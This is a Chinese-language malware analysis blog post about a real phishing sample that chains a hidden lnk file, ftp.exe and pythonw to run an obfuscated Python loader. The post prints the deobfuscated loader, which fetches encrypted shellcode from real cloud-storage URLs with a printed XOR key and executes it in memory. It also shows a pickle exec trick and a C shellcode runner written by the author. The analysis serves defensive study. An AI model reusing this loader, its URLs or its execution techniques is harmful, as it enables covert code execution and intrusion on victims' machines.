00
样本来源
该样本来源于2024Hvv的真实环境钓鱼样本,本次分析希望给大家普及如何避免和防范钓鱼木马。
01
还原木马运行路径
0、一脸懵逼,从压缩包解压之后,进入文件夹只看到了一个文件,可是查看文件夹里面明明写着35个文件啊,但是系统的隐藏文件属性已经关闭了,为什么还只显示1个呢?
1、查看当前路径下还有什么隐藏文件
1dir /a
2、使用【attrib】将隐藏属性删除
1attrib -s -h __init__
1C:\Users\Coriander>attrib /? 2显示或更改文件属性。 3 4 5ATTRIB [+R | -R] [+A | -A] [+S | -S] [+H | -H] [+O | -O] [+I | -I] [+X | -X] [+P | -P] [+U | -U] 6 [drive:][path][filename] [/S [/D]] [/L] 7 8 9 + 设置属性。 10 - 清除属性。 11 R 只读文件属性。 12 A 存档文件属性。 13 S 系统文件属性。 14 H 隐藏文件属性。 15 O 脱机属性。 16 I 无内容索引文件属性。 17 X 无清理文件属性。 18 V 完整性属性。 19 P 固定属性。 20 U 非固定属性。 21 [drive:][path][filename] 22 指定属性要处理的文件。 23 /S 处理当前文件夹及其所有子文件夹中 24 的匹配文件。 25 /D 也处理文件夹。 26 /L 处理符号链接和 27 符号链接目标的属性
3、查看lnk里面运行路径
1#将【libgcc.dll】以参数的形式传递给【ftp.exe】 2C:\Windows\System32\ftp.exe -""s:__init__\libgcc.dll
4、查看dll内容
1#使用pythonw.exe 执行main.pyw 2!start /b __init__\pythonw.exe __init__\main.pyw 3 4 5#然后启动11.docx 6!start /b __init__\11.docx 7 8 9#脚本的结束标记 10bye
5、查看main.pyw
1#用来导入一个名为action的模块或者包 2import action
6、查看action
1import ast
2import pickle
3import ctypes ,urllib .request ,codecs ,base64
4import sys ,ssl
5ssl ._create_default_https_context =ssl ._create_unverified_context
6OO00O0OO00OO00OO0 =urllib .request .urlopen ('https://static-aliyun-xlsx.oss-cn-beijing.aliyuncs.com/1xqRVJEQA9u').read ()
7def O0OO0OO000000OOO0 (O0OOO00O000O0OO0O ,OOOOO0000O0OO00OO ):
8 O0OO000OO0OOO0O00 =bytearray (len (O0OOO00O000O0OO0O ))
9 for OOO000OOO0000O0O0 in range (len (O0OOO00O000O0OO0O )):
10 O0OO000OO0OOO0O00 [OOO000OOO0000O0O0 ]=O0OOO00O000O0OO0O [OOO000OOO0000O0O0 ]^OOOOO0000O0OO00OO [OOO000OOO0000O0O0 %len (OOOOO0000O0OO00OO )]
11 return bytes (O0OO000OO0OOO0O00 )
12def OO0000OO00O00OOOO (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 ):
13 return O0OO0OO000000OOO0 (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 )
14def OOOOO000O0OOOOO00 (OOOOOOOOO0O0OO000 ):
15 O0O0OO0O0OO0O00OO =""
16 for OOOOOO0O000O0OOO0 in range (3 ,len (OOOOOOOOO0O0OO000 ),4 ):
17 O0O0OO0O0OO0O00OO +=OOOOOOOOO0O0OO000 [OOOOOO0O000O0OOO0 ]
18 O0000O0O0OOO000O0 =base64 .b64decode (O0O0OO0O0OO0O00OO )
19 return O0000O0O0OOO000O0 .decode ()
20OO00O0OO00OO00OO0 =OOOOO000O0OOOOO00 (OO00O0OO00OO00OO0 .decode ())
21class A (object ):
22 def __reduce__ (OOOOOOOOO000000OO ):
23 return (exec ,(OO00O0OO00OO00OO0 ,))
24def O00O0O0OOO00O0OOO (O000OOO0O0OO0O00O ):
25 try :
26 O00OOO0OO00O00OOO =ast .parse (O000OOO0O0OO0O00O ,mode ='exec')
27 exec (compile (O00OOO0OO00O00OOO ,filename ="<string>",mode ="exec"))
28 except Exception as OO0OOO00000OO00O0 :
29 exit ()
30OO0OOO00O0O00OO0O ="tvpcvulmyrlVuhk0yqhIjosDzwn0nlbgwancrdgGypalpdljqqpaxmw2awvxgrblftiLlxzmkscRxth1cymbcxoXanlBnjfzeyjKvhdEwbfEciroaepKvgqSfqgksocNvgqCpoantnmJfpkllehdbowFchr9txqijjiYqvfXblrNtsllfihNqxsjvrbQbljgpizPmwnSiseBzvbiopfYfliXxvkNgemlsjlNkocjkwjQeayubakYogmjehpYicy0afpZugrWxvl5ninjkgwbmnb2yzcRefulzybKvckHsvzJybrlfprdtqpCstbknnuNzizCjxznckpJwvzluundngsFxeo9igykalmZzxoWkdhNzlzvipsZwlwGxvqUokxgxekPgbmSnoyBtrmikbmYktdXkxqNtboljzdNaanjlddQlyguyoyYrlxjxvlYhat0vyeZdhtGgvnVfixjnzmbukh2rjqRvrslhbeKrzpHfslJcqeleekduluFxkf9siuiibeYlnbXykkNznalnbyNhpijsfvQgyzpscsDkslQgoppjuiwizwaqeeWgzrNgktrtrfbfggGfjwUkkyuyfdbdiyGguo9ncshkctZhckHpfjMzrpozsschipmzgnVcyb0pmgXbmz2bosRlgxlcecYwbt2jsw9mkckmnpZsmrSrnskths="
31OOO00O0O00OO00O0O =OOOOO000O0OOOOO00 (OO0OOO00O0O00OO0O )
32O00O0O0OOO00O0OOO (OOO00O0O00OO00O0O )
总结运行路径:
1lnk > 调用Ftp > 使用pythonw调用运行main.pyw > 间接调用action
02
分析样本
1、代码都是用O、0来恶心我们的,所以不用慌,打开IDE就好了。
先整理一下思路,python定义了def之后是不会从上往下执行的,需要被调用之后才会运行,所以只需要先关注运行的代码即可。
2、先看最下面的红框,他是把一段字符串进行了base64的编码,所以我们还原看看是什么。
1import base64
2
3
4
5
6def OOOOO000O0OOOOO00 (OOOOOOOOO0O0OO000 ):
7 O0O0OO0O0OO0O00OO =""
8 for OOOOOO0O000O0OOO0 in range (3 ,len (OOOOOOOOO0O0OO000 ),4 ):
9 O0O0OO0O0OO0O00OO +=OOOOOOOOO0O0OO000 [OOOOOO0O000O0OOO0 ]
10 O0000O0O0OOO000O0 =base64 .b64decode (O0O0OO0O0OO0O00OO )
11 return O0000O0O0OOO000O0 .decode ()
12
13
14OO0OOO00O0O00OO0O ="tvpcvulmyrlVuhk0yqhIjosDzwn0nlbgwancrdgGypalpdljqqpaxmw2awvxgrblftiLlxzmkscRxth1cymbcxoXanlBnjfzeyjKvhdEwbfEciroaepKvgqSfqgksocNvgqCpoantnmJfpkllehdbowFchr9txqijjiYqvfXblrNtsllfihNqxsjvrbQbljgpizPmwnSiseBzvbiopfYfliXxvkNgemlsjlNkocjkwjQeayubakYogmjehpYicy0afpZugrWxvl5ninjkgwbmnb2yzcRefulzybKvckHsvzJybrlfprdtqpCstbknnuNzizCjxznckpJwvzluundngsFxeo9igykalmZzxoWkdhNzlzvipsZwlwGxvqUokxgxekPgbmSnoyBtrmikbmYktdXkxqNtboljzdNaanjlddQlyguyoyYrlxjxvlYhat0vyeZdhtGgvnVfixjnzmbukh2rjqRvrslhbeKrzpHfslJcqeleekduluFxkf9siuiibeYlnbXykkNznalnbyNhpijsfvQgyzpscsDkslQgoppjuiwizwaqeeWgzrNgktrtrfbfggGfjwUkkyuyfdbdiyGguo9ncshkctZhckHpfjMzrpozsschipmzgnVcyb0pmgXbmz2bosRlgxlcecYwbt2jsw9mkckmnpZsmrSrnskths="
15OOO00O0O00OO00O0O =OOOOO000O0OOOOO00 (OO0OOO00O0O00OO0O )
16
17
18print(OOO00O0O00OO00O0O)
结果如下
1ret = pickle.dumps(A()) 2ret_base64 = base64.b64encode(ret) 3ret_decode = base64.b64decode(ret_base64) 4pickle.loads(ret_decode)
这段Python代码是将对象A()序列化为字节流,然后使用base64编码将字节流转换为base64格式的字符串,接着再将base64字符串解码为字节流,最后使用pickle模块的loads函数将字节流反序列化为对象。
3、再看看A做了什么操作。
1import base64
2import urllib.request
3
4
5OO00O0OO00OO00OO0 =urllib .request .urlopen ('https://static-aliyun-xlsx.oss-cn-beijing.aliyuncs.com/1xqRVJEQA9u').read ()
6
7
8
9
10def OOOOO000O0OOOOO00 (OOOOOOOOO0O0OO000 ):
11 O0O0OO0O0OO0O00OO =""
12 for OOOOOO0O000O0OOO0 in range (3 ,len (OOOOOOOOO0O0OO000 ),4 ):
13 O0O0OO0O0OO0O00OO +=OOOOOOOOO0O0OO000 [OOOOOO0O000O0OOO0 ]
14 O0000O0O0OOO000O0 =base64 .b64decode (O0O0OO0O0OO0O00OO )
15 return O0000O0O0OOO000O0 .decode ()
16OO00O0OO00OO00OO0 =OOOOO000O0OOOOO00 (OO00O0OO00OO00OO0 .decode ())
17
18
19
20
21print(OO00O0OO00OO00OO0)
22class A (object ):
23 def __reduce__ (OOOOOOOOO000000OO ):
24 return (exec ,(OO00O0OO00OO00OO0 ,))
结果如下
1import ctypes,urllib.request,codecs,base64 2encrypted_data = urllib.request.urlopen('https://static-aliyun-xlsx.oss-cn-beijing.aliyuncs.com/GbyekXDcN').read() 3encrypted_data = encrypted_data.strip() 4 5 6 7 8while 1: 9 try: 10 #64 11 key = b'IKkOLMFvUYctUgoBy' 12 decoded_data = base64.b64decode(encrypted_data) 13 sc = OO0000OO00O00OOOO(decoded_data, key) 14 ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64 15 rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(sc), 0x1000, 0x40) 16 ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage),ctypes.create_string_buffer(sc), len(sc)) 17 ctypes.windll.kernel32.EnumDateFormatsA(ctypes.c_char_p(rwxpage), ctypes.c_int16(0), ctypes.c_int16(0)) 18 19 20 except Error as e: 21 print(e)
从指定URL下载加密数据,然后使用给定的密钥解码数据,接着将解密后的数据作为shellcode执行。在执行过程中,代码尝试将shellcode分配到可执行内存中,并调用EnumDateFormatsA函数执行shellcode。
4、A执行之后输出的内容,直接被以下的代码执行
1def O00O0O0OOO00O0OOO (O000OOO0O0OO0O00O ):
2 try :
3 O00OOO0OO00O00OOO =ast .parse (O000OOO0O0OO0O00O ,mode ='exec')
4 exec (compile (O00OOO0OO00O00OOO ,filename ="<string>",mode ="exec"))
5 except Exception as OO0OOO00000OO00O0 :
6 exit ()
7O00O0O0OOO00O0OOO (OOO00O0O00OO00O0O )
5、最后我们把加密部分的shellcode也解密出来把
1import base64
2import urllib.request
3def O0OO0OO000000OOO0 (O0OOO00O000O0OO0O ,OOOOO0000O0OO00OO ):
4 O0OO000OO0OOO0O00 =bytearray (len (O0OOO00O000O0OO0O ))
5 for OOO000OOO0000O0O0 in range (len (O0OOO00O000O0OO0O )):
6 O0OO000OO0OOO0O00 [OOO000OOO0000O0O0 ]=O0OOO00O000O0OO0O [OOO000OOO0000O0O0 ]^OOOOO0000O0OO00OO [OOO000OOO0000O0O0 %len (OOOOO0000O0OO00OO )]
7 return bytes (O0OO000OO0OOO0O00 )
8def OO0000OO00O00OOOO (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 ):
9 return O0OO0OO000000OOO0 (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 )
10
11
12encrypted_data = urllib.request.urlopen('https://static-aliyun-xlsx.oss-cn-beijing.aliyuncs.com/GbyekXDcN').read()
13encrypted_data = encrypted_data.strip()
14# 64
15key = b'IKkOLMFvUYctUgoBy'
16decoded_data = base64.b64decode(encrypted_data)
17sc = OO0000OO00O00OOOO(decoded_data, key)
18
19
20
21
22with open("shellcode.bin","wb") as file:
23 file.write(sc)
完整代码如下
1import ast
2import pickle
3def O0OO0OO000000OOO0 (O0OOO00O000O0OO0O ,OOOOO0000O0OO00OO ):
4 O0OO000OO0OOO0O00 =bytearray (len (O0OOO00O000O0OO0O ))
5 for OOO000OOO0000O0O0 in range (len (O0OOO00O000O0OO0O )):
6 O0OO000OO0OOO0O00 [OOO000OOO0000O0O0 ]=O0OOO00O000O0OO0O [OOO000OOO0000O0O0 ]^OOOOO0000O0OO00OO [OOO000OOO0000O0O0 %len (OOOOO0000O0OO00OO )]
7 return bytes (O0OO000OO0OOO0O00 )
8def OO0000OO00O00OOOO (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 ):
9 return O0OO0OO000000OOO0 (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 )
10OO00O0OO00OO00OO0 ='''
11import ctypes,urllib.request,codecs,base64
12encrypted_data = urllib.request.urlopen('https://static-aliyun-xlsx.oss-cn-beijing.aliyuncs.com/GbyekXDcN').read()
13encrypted_data = encrypted_data.strip()
14while 1:
15 try:
16 #64
17 key = b'IKkOLMFvUYctUgoBy'
18 decoded_data = base64.b64decode(encrypted_data)
19 sc = OO0000OO00O00OOOO(decoded_data, key)
20 ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
21 rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(sc), 0x1000, 0x40)
22 ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage),ctypes.create_string_buffer(sc), len(sc))
23 ctypes.windll.kernel32.EnumDateFormatsA(ctypes.c_char_p(rwxpage), ctypes.c_int16(0), ctypes.c_int16(0))
24 except Error as e:
25 print(e)
26'''
27class A (object ):
28 def __reduce__ (OOOOOOOOO000000OO ):
29 return (exec ,(OO00O0OO00OO00OO0 ,))
30
31
32def O00O0O0OOO00O0OOO (O000OOO0O0OO0O00O ):
33 try :
34 O00OOO0OO00O00OOO =ast .parse (O000OOO0O0OO0O00O ,mode ='exec')
35 exec (compile (O00OOO0OO00O00OOO ,filename ="<string>",mode ="exec"))
36 except Exception as OO0OOO00000OO00O0 :
37 exit ()
38
39
40OOO00O0O00OO00O0O ='''
41ret = pickle.dumps(A())
42ret_base64 = base64.b64encode(ret)
43ret_decode = base64.b64decode(ret_base64)
44pickle.loads(ret_decode)
45'''
46O00O0O0OOO00O0OOO (OOO00O0O00OO00O0O)
03
外连情况
拿到解密之后的shellcode,我们可以在观察一下他的外连,或是有无后续操作。贴心的给他写一个我们已知操作的loader。
1#include <Windows.h>
2
3
4
5
6int main()
7{
8 HANDLE hFile = CreateFileA("shellcode.bin", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
9
10
11 DWORD nFileSize = GetFileSize(hFile, NULL);
12
13
14 LPVOID shellcode = VirtualAlloc(NULL, nFileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
15
16
17 ReadFile(hFile, shellcode, nFileSize, NULL, NULL);
18
19
20 //创建一个线程,实力线程执行shellcode
21 HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, NULL);
22
23
24 //等待线程执行完毕
25 WaitForSingleObject(hThread, INFINITE);
26
27
28}
还是个域前置,寄了,后续也没什么动静了,我通过ProcessMonitor也没有发现他有其他操作,那本次的分析就结束了。希望大家有好玩的样本也可以分享给我!有什么不对的地方各位大佬可以在下方留言!!